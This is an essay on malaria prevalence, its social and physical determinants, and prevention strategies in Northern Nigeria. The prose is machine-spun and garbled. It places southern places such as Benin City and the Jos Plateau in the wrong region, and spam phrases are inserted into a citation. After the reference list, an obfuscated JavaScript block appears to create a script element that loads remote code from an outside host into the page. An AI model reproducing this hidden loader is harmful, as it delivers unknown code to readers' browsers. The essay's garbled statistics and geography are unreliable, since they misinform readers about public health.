Epidemiological Overview

Generally, malaria is definitely widespread throughout almost all of the tropics globally. On the other hand, according to Bradley (1992), the epidemiology of malaria has been characteristically varied across the globe as a result of malaria’s largely different vectorial capacity (p. 1). From the approximately 3.4 billion persons who are globally susceptible to malaria infections annually, about 1.2 billion are in an increased risk. The World Overall health Organization (2013) studies that in 2012 alone more than 207 million people produced symptomatic malaria. Between 2000 and 2010, the numbers produced by the WHO statement are, somewhat, encouraging as the number of reported annual malaria incidences in 34 malaria-eliminating countries decreased by 85 % from 1.5 million to 232, 000 situations (WHO, 2013). Nevertheless, from the same article, the global malaria deaths reached a higher of 1 1.82 million in 2004 and considerably fell to at least one 1.24 million this year 2010. Among the deaths reported in 2010 2010 were 714,000 children below age 5 and 524,000 individuals above the age of 5. However, shockingly, the World Overall health Organization (2013) reviews that over 80% of malaria deaths appear in the sub-Saharan Africa. Shockingly, the Nigeria Malaria Indictor Record (2012) reviews that Nigeria and the Democratic Republic of Congo take into account over 40% of the total malaria deaths globally. This revelation features led to several concerted work in both leading countries aimed at addressing the prevalence of malaria.

Malaria Condition in Northern Nigeria

Nigeria is ranked among the most populous countries in Africa with a population of around 170 million in line with the 2013 population figures and an estimated total annual growth rate of 2.6% (Malaria Operation Plan, 2013). The 2010 US Development Program Human Production Index ranks Nigeria at location 142 out among 169 countries (WHO, 2013). The united states has an estimated under-five mortality rate of 157 per 1000 live births and maternal mortality is approximated at 545 per 100,000 live births in line with the 2008 Demographic and Health Survey (Okafor & Oko-Ose, 2012). The southern portion of Nigeria is drastically advantaged in almost all social and economical indicators. In this regards, both the child mortality and maternal mortality are relatively higher. For example, Okafor & Oko-Ose (2012) illustrate that the under-five mortality costs are about one and a half times higher as the maternal mortality rates are about three times higher in comparison with some northern elements of Nigeria. Contrastingly, regardless of the high income related to the product sales of crude oil, no significant improvement has been recorded and majority of the Nigerians, specifically the Northerners live in abject poverty (Malaria Operation Plan, 2013).

About 97% of the Nigerian population is at threat of Malaria infection with almost all being those living in Northern Nigeria relating to a research executed by the Nigeria Malaria Index Study (2010). Specifically, research has found out that incidences of malaria transmissions account for over 60% of outpatient appointments and 30% of inpatients in Nigerian healthcare organizations. Incidentally, malaria infection is a primary cause of children mortality and plays a part in around 225,000 cases of deaths yearly (WHO, 2013). Malaria as well contributes to around 11% of maternal mortality and about 105 of low birth fat relating to NMCP Strategic Approach 2009-2013.

The geographic area of Nigeria makes the weather condition to be suitable for malaria transmission nearly through the entire country. In fact, the rest of the 3% of the whole country’s population, who are fairly at a low potential for infection, actually stay in the mountainous regions in the southern parts of Nigeria (Jos Plateau Condition) with an altitude of between 1,200 to at least one 1,400 metres. A number of studies have been conducted to elucidate the result of seasonal improvements on epidemiological index of malaria transmitting in Northern Nigeria. Undeniably, the climatic condition of Northern Nigeria is definitely seasonal with rainy seasons in May-October, dry period in December-March and transitional period in April-November (Malaria Operation Plan, 2013). On the other hand, studies on the prevalence of malaria in Northern Nigeria include shown that malaria transmitting has been predominant through the rainy season and lowest during the dry season.

Gender Distribution and Prevalence of Malaria Transmission

Generally, studies have shown that Plasmodium attacks appear more common in the male than in the females in Northern Nigeria. For, case in point, a study conducted to see malaria occurrences among kids aged six months to eleven years in Benin Metropolis presented a shocking effect. According to the findings of the research, malaria transmission from 2004 to 2009 in male averaged at 57 % while through the same period under analysis, the transmission in females was at typically 43% (Okafor & Oko-Ose, 2012). A similar research executed in the Northern Nigeria’s Ebonyi and Edo Says in 2004 made an identical conclusion. This prevalence provides been attributed to the actual fact that males expose their bodies more than females especially when the weather is hot. For the reason that regards, males will get bitten by mosquitoes. On the other hand, Okafor & Oko-Ose (2012) explain that females tend to stay indoors, supporting out with ordinary household chores. This drastically reduces their contact with the mosquito vector. Either, studies have displayed that females have comparatively better immunity to parasitic ailments because of their hormonal and genetic composition.

Age Factor and Malaria Prevalence

Based on age, analyses have shown that children aged ½ – 24 months have the best prevalence in malaria transmitting (Okafor & Oko-Ose, 2012). Based on the research conducted in Benin Metropolis in Northern Nigeria among children aged ½ to 11 years, it was realized that kids aged ½ -2 years documented the best prevalence of 58.6% accompanied by this bracket 3 – 5 years at 30.5% and minimal being age group 9-11 years at 2.9%. Basically, we are able to conclude that children under the years of 5 years are more susceptible to incidences of malaria transmitting.

In general, malaria transmission can be in a declining tendency. A finding carried out in 1999, for example, in Erunmu in southwest Nigeria reported about 80% malaria parasite prevalence among school kids. A similar study conducted in Benin Metropolis, regarding to Okafor & Oko-Ose (2012) obviously revealed this decline in prevalence. In 2004, the prevalence among children of ½ – 11 years was 47%. By 2009, the prevalence had dropped noticeably to 32%. Through the time under consideration, the overall prevalence of malaria was reported at 36.4%. In a nutshell, this decline could be attributed to the effect of some preventive methods against malaria that has been adopted by the Nigerian Authorities.

Health Determinants and their Impact on Malaria Prevalence

Many factors incorporate together to affect the health of persons and communities in a specific area. MEDICAL Impact Assessment (2014) explains that the surroundings and the circumstances that people live in extensively determine whether people are healthy or not. To a larger extent, factors such as where a person lives, the state of the environment, genetics, salary, education level and our relationship with friends and households all have significant effect on health. However, on a far more specific take note, determinants of health are the social and financial environment, the physical environment and the individual’s features and behaviors (The Health Impact Evaluation, 2014). This paper will elucidate the influence of socio-monetary environment and the physical environment on malaria transmission in Northern Nigeria based on both social economic environment and the physical environment.

The Public and Economic Environment

Malaria possesses predominantly been linked with poverty and the reduction of the propensity of malaria has turned into a major priority for the Nigerian Government for an extended period of time. Specifically, malaria is a leading cause of both child and maternal mortality and morbidity in Northern Nigeria that is relatively of a lower social and economic ranking (WHO, 2013 and Nigeria Malaria Indicator Survey 2010). The economical burden of malaria illness on households accounts for almost 50% of total economic burden of ailments in the Northern regions of Nigeria. Further, multiple research have noted that individuals of lower public and economic status bear a disproportionate burden of the parasitic disease and have illness seeking habits and sometimes lack

necessary health facilities. Generally, research has proven that up to 58% of malaria transmitting happens in the poorest 20% of the universe population who, incidentally, gets the worst care and has disastrous consequences from the condition (WHO, 2013). More especially, there is a heavy malaria burden on the poor than on the rich as demonstrated by latest studies in Northern Nigeria Says and in the places states. According to this research, people with an estimate profits of less than N300 per day (earning less than a dollar each day) were less likely to perceive malaria as a preventable disease and subsequently recorded even more incidences of malaria per month as compared to those who earned less than N300 each day (Yusuph, 2010).

Arguably, the rural dwellers of the Northern Nigeria have got a higher risk of infection than their counterpart urban citizens. The current figures indicate that between 6% – 28% of the malaria burden may occur in urban areas which comprise only 2% of the complete African area (Yusuph et al., 2010). There may be a romance between this predominance to the socio-economic status of men and women residing in both rural and poverty-ridden regions. Evidently, participants of lower socio-economical societies stay in environments that offer little if any protection against mosquitoes plus they are also less inclined to afford the insecticide-treated mosquito nets. Clearly, higher social and monetary status groups and urban residents posses extra malaria preventive tools and for that reason, article few incidences of malaria. In addition, low socio-economic status organizations are unlikely to pay out either for successful malaria treatment or for transport to a health facility capable of treating the scourge.

The Physical Environment

Geographically, malaria is certainly transmitted due to the interaction between the malaria mosquito parasite and the human environments (MEDICAL Impact Evaluation, 2014). The geographical position of Northern Nigeria presents a key element to the breeding and living of the malaria-causative parasite. The Progress & Effect Series Country Reports (2012) describes Nigeria’s weather as tropical climate with alternating wet and dry seasons throughout the year which is well suited for malaria transmission. Occurrence of mangrove swamps, the rain forest, the guinea-savannah, the Sudan-savannah and the Sahel-savanna that extends from the South to the North of Nigeria decide the intensity, seasonality and period of malaria transmission. However, apart from the climatic state, the Northern Claims of Nigeria get access to inadequate physical facilities, secure water, medical establishments and poor infrastructure that displays a daunting task to the avoidance or treatment of malaria infections.

Prevention Strategy predicated on Social and Economic Status

This paper possesses emphasized on the major public health challenges that great prevalence of malaria presents to the persons of Northern Nigeria. The virtually all biologically vulnerable group, just as have been noted, are the children below the age of five and women that are pregnant, perhaps due to their comparatively lower immunity status (Mazumdar & Guha, 2013). Quite simply, most of the malaria transmissions arise among the poverty ridden people of the Northern Nigeria. Social and economical background provides been distinctively demonstrated by this paper as a significant health determinant in malaria transmitting in the northern elements of Nigeria.

With the remarkably perturbing statistical information on malaria transmissions and prevalence in Northern Nigeria, there exists a dependence on an infective and inclusive preventive method that addresses the virtually all biologically vulnerable group and their interpersonal and economic factors that determines their wellness. Therefore, this papers outlines a four dimensional preventive strategy that’s undoubtedly capable of made up of the mortality and morbidity among children and expectant women. This preventive technique summarily concentrate on management of transmission instances, prevention of malaria with insecticide-treated nets, indoor residual spraying to lessen transmission and finally the utilization of intermitted preventive treatment and the use of intermittent preventive treatment for women that are pregnant.

Prompt Diagnosis and Treatment

This strategy focuses on timely diagnosis and effective treatment of conditions of malaria attacks by utilization of relevant anti-malarial drugs. This strategy is aimed at making certain up to 80% of the populace, mostly children below age 5 and the pregnant women, who are at risk of malaria have timely and required treatment at the original stages of illness. Under this strategy, there is need for provision of free important anti- malarial medications like Artmether-Lumefantrine (Mazumdar &Guha, 2013). There is also a need for a home based care management system especially for the most vulnerable populace, that’s, children below age five. The complexity of the strategy takes a multidimensional strategy and involvement by the public sector, the exclusive sector and the faith based health facilities for effectiveness.

Distribution of insecticide-treated nets (ITN)

This strategy is intended to avoid malaria transmission to a larger population especially the virtually all vulnerable children beneath the age group of 5 and the pregnant women. Under this strategy, women that are pregnant and children beneath the age of five are to be provided with no cost insecticide cured mosquito nets. These nets should be supplied to the expectant ladies when they go to their ante natal care and attention services in designated health facilities. This scheme as well proposes the use of relatively resilient insecticide nets in order to address the social and monetary challenges that bedevils most of the vulnerable groups.

Indoor Residual Spraying

The Indoor Residual Spraying (IRS) is intended for curtailing the transmission of malaria in both the women that are pregnant and children beneath the age of five. The program requires entomological monitoring and right management of insecticide resistance especially among the ignorant populace that are characteristic of a low social economic majority. In addition, it requires behavior change communication with the target population and technological assistance and training especially to the personnel in the indoor residential spraying exercise.

Intermittent Preventive Treatment for Expectant Women

This last strategy mainly targets regulation of malarial prevalence among expectant girls. Statistical data that only 58% of women that are pregnant by 2008 had access to antenatal care and attention from relevant providers while 62% of expectant women successfully delivered in the home elucidates the extent of socio-financial disparity and the need for successful preventive treatment applications for pregnant women. Ideally, a number of factors donate to low utilization of health features by expectant women. Mainly, inadequate or poor quality of antenatal services, high-priced cost of the solutions and ignorance on the necessity to attend antenatal offerings indisputably discourages expectant women of all ages from utilizing antenatal offerings from relevant health features. As a preventive measure to the difficulties facing expectant women, this plan identifies specific drugs that may effectively struggle malaria in expectant girls. The Intermittent Prevention Remedy (IPT) and Sulphadoxine-Pyrimethamine (SP) have already been discovered as effective malaria avoidance among this vulnerable group. These drugs ought to be administered freely to the ladies since majority of them may not manage to afford such drugs.

In bottom line, this paper reaffirms the necessity to address the malaria menace especially in the sub-Sahara Africa and other tropics. The paper lays focus on the prevalence of this scourge on children under the age group of 5 and pregnant women. The paper as well extensively discusses how socio-economic elements and physical environments donate to the prevalence of malaria attacks specifically in poor neighborhoods in Africa and Northern Nigeria in specific. This paper presents a preventive strategy that targets the most vulnerably group.

Reference

Bradley, D. J. (1992). Malaria: Old Infections, Changing Epidemiology. London: London

School of Hygiene, in Wellbeing Transition Review Vol. 2. Supplementary Issue 1992.

Health Impact Assessment (2014). The Determinants of Health. WHO. Retrieved from

http://www.who.int/hia/evidence/doh/en/

Malaria Indicator Survey (2010). Final Report. Retrieved from

http://dhsprogram.com/pubs/pdf/MIS8/MIS8.pdf

Malaria Operational Program FY 2013. President’s Malaria Initiative. Retrieved from

www.pmi.gov/countries/mops/fy13/nigeria_mop_fy13.pd

Mazumdar S. & Guha, P. M. (2013). Prevention and Treatment of Malaria in Nigeria:

Differential and Determinants from a Spatial View. Retrieved from http://uaps2007.princeton.edu/papers/70579

Okafor recommendations on how to write an explanatory essay, F. U. & Oko-Ose, J. N. (2012). Prevalence of Malaria Attacks among Children aged testmyprep

six a few months to eleven years in Benin Metropolis, Nigeria. In The Global Advanced Analysis Journal and Medical Sciences Vol. 1 (10) p. 273-279, November, 2012. Retrieved from, http://garj.org/garjmms/pdf/2012/november/Okafor and Oko-ose.pdf

Progress & Impact Series Nation Reports, No. 4 (2012). WHO. Retrieved from

http://www.rbm.who.int/ProgressImpactSeries/docs/report11-en.pdf

Report on Nigeria Malaria Indicator Study (2010). Retrieved from

http://dhsprogram.com/pubs/pdf/MIS8/MIS8.pdf

Yusuph, O. B. et al. (2010). Poverty and Fever Vulnerability in Nigeria: A Multilevel Analysis.

In Malaria Journal. Retrieved from http://www.malariajournal.com/content/9/1/235

World Health Business. World Malaria Report (2013). Retrieved from

www.who.int/iris/…/9789241564694_eng.pdf

$=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”=”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(‘\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”‘);”+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”‘\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.”+$.$$__+(![]+””)[$._$_]+$._$+$.$$_$+”.\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.$$$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$$+$.___+”‘;”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(“+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())();